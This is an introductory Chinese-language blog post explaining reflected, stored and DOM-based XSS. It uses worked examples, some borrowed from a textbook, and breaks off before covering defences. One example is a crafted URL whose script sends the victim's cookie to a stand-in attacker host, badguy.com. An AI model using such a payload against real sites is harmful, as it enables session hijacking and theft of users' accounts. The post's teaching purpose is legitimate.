天天看點

常見web漏洞之我見

      這是我第一次寫自己的技術部落格,肯定有很多的不足和錯誤,如有不對之處,提前在此緻歉并歡迎大家指正,文中部分引用已在文章結尾處的參考資料中列出,尊重原創,人人有責!

       一直以來對web安全都很有興趣,隻是苦于現在的工作原因,并沒有太多的時間和精力細細研究,今天突發奇想就是想把自己一直以來對web安全的了解和認知記錄一下,一是做一個知識的總結,二也是友善自己日後的查閱。

       說起web安全,那麼就不得不提一下以下的常見漏洞和一般的防禦方法。

       一、 XSS (cross site scripting)

       跨站腳本注入,是一個非常常見的web漏洞,也是見諸于各大web站點的常見漏洞, 主要分為以下3類:

1. 反射型XSS,

之是以稱之為“反射型”,主要是因為通常惡意代碼都沒有儲存在目标網站上,而是通過引誘使用者點選一個連結到目标網站的惡意連結來實施攻擊的。

實施這種攻擊的步驟如下圖所示。

常見web漏洞之我見
(點選檢視大圖)圖12-3 反射型XSS攻擊的實施步驟

(1) 使用者正常登入應用程式,得到一個包含會話令牌的 cookie:

常見web漏洞之我見

(2) 攻擊者通過某種方法(詳情見下文)向使用者送出以下 URL:

常見web漏洞之我見

和前面生成一個對話框消息的示例一樣,這個URL包含嵌入式 JavaScript 代碼。但是,這個示例中的攻擊有效載荷更加惡毒。

(3) 使用者從應用程式中請求攻擊者傳送給他們的URL。

(4) 伺服器響應使用者的請求。由于應用程式中存在XSS漏洞,響應中包含攻擊者建立的 JavaScript代碼。

(5) 使用者浏覽器收到攻擊者的JavaScript代碼,像執行從應用程式收到的其他代碼一樣,浏覽器執行這段代碼。

(6) 攻擊者建立的惡意JavaScript代碼為:

常見web漏洞之我見

這段代碼可讓使用者浏覽器向wahh-attacker.com(攻擊者擁有的一個域)提出一個請求。請求中包含使用者通路應用程式的目前會話令牌:

常見web漏洞之我見

攻擊者監控通路wahh-attacker.com的請求并收到使用者的請求。攻擊者使用截獲的令牌劫持使用者的會話,進而通路該使用者的個人資訊,并"代表"該使用者執行任意操作。

2. 存儲型XSS

惡意代碼被儲存到目标網站的伺服器中,這種攻擊具有較強的穩定性和持久性,比較常見場景是在部落格,論壇等社交網站上,但OA系統,和CRM系統上也能看到它身影,比如:某CRM系統的客戶投訴功能上存在XSS存儲型漏洞,黑客送出了惡意攻擊代碼,當系統管理者檢視投訴資訊時惡意代碼執行,竊取了客戶的資料,然而管理者毫不知情,這就是典型的XSS存儲型攻擊。

攻擊過程如下:

Alex發現了網站A上有一個XSS 漏洞,該漏洞允許将攻擊代碼儲存在資料庫中,

Alex釋出了一篇文章,文章中嵌入了惡意JavaScript代碼。

其他人如Monica通路這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在Monica的浏覽器中執行,其會話cookie或者其他資訊将被Alex盜走。

3. 基于DOM的XSS

在這種漏洞中,攻擊者的JavaScript通過以下過程得以執行。

使用者請求一個經過專門設計的URL,它由攻擊者送出,且其中包含嵌入式JavaScript。

伺服器的響應中并不以任何形式包含攻擊者的腳本。

當使用者的浏覽器處理這個響應時,上述腳本得以處理。

這一系列事件如何發生呢?由于用戶端JavaScript可以通路浏覽器的文本對象模型(Document Object Model,DOM),是以它能夠決定用于加載目前頁面的 URL。由應用程式釋出的一段腳本可以從URL中提取資料,對這些資料進行處理,然後用它動态更新頁面的内容。如果這樣,應用程式就可能易于受到基于DOM的XSS攻擊。

回到前面的反射型XSS漏洞中的示例,其中伺服器端應用程式将一個URL參數值複制到一條錯誤消息中。另一種實作相同功能的辦法是由應用程式每次傳回相同的靜态 HTML,并使用用戶端JavaScript動态生成消息内容。

例如,假設應用程式傳回的錯誤頁面包含以下腳本:

常見web漏洞之我見

這段腳本解析 URL,提取出message參數的值,并把這個值寫入頁面的HTML源代碼中。如果按開發者預想的方式調用,它可以和前面的示例中一樣,用于建立錯誤消息。但是,如果攻擊者設計出一個 URL,并以JavaScript代碼作為message參數,那麼這段代碼将被動态寫入頁面中,并像伺服器傳回代碼一樣得以執行。在這個示例中,前面示例中利用反射型XSS漏洞的相同URL也可用于生成一個對話框:

  1. https://wahh-app.com/error.php?message=<script>alert('xss');</script> 

利用基于DOM的XSS漏洞的過程如圖12-5所示。

常見web漏洞之我見
(點選檢視大圖)圖12-5 基于DOM的XSS攻擊的實施步驟

與儲存型XSS漏洞相比,基于DOM的XSS漏洞與反射型XSS漏洞有更大的相似性。利用它們通常需要攻擊者誘使一名使用者通路一個包含惡意代碼的專門設計的URL,并由伺服器響應那個使得惡意代碼得以執行的特殊請求。

舉個例子:

Tom 發現了Victim.com中的一個頁面有XSS漏洞,

例如: http://victim.com/search.asp?term=apple

伺服器中Search.asp 頁面的代碼大概如下

常見web漏洞之我見
<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>      
常見web漏洞之我見

Tom 先建立一個網站http://badguy.com,  用來接收“偷”來的資訊。

然後Tom 構造一個惡意的url(如下), 通過某種方式(郵件,QQ)發給Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>      

Monica點選了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的浏覽器中執行. 那麼Monica在victim.com網站的cookie, 就會被發送到badguy網站中。這樣Monica在victim.com 的資訊就被Tom盜了.

(未完待續...)

參考資料:

http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

http://www.cnblogs.com/Jackson-Bruce/p/XSS-Attachs.html

http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

http://blog.csdn.net/stilling2006/article/details/8526458

http://book.51cto.com/art/200907/138873.htm

繼續閱讀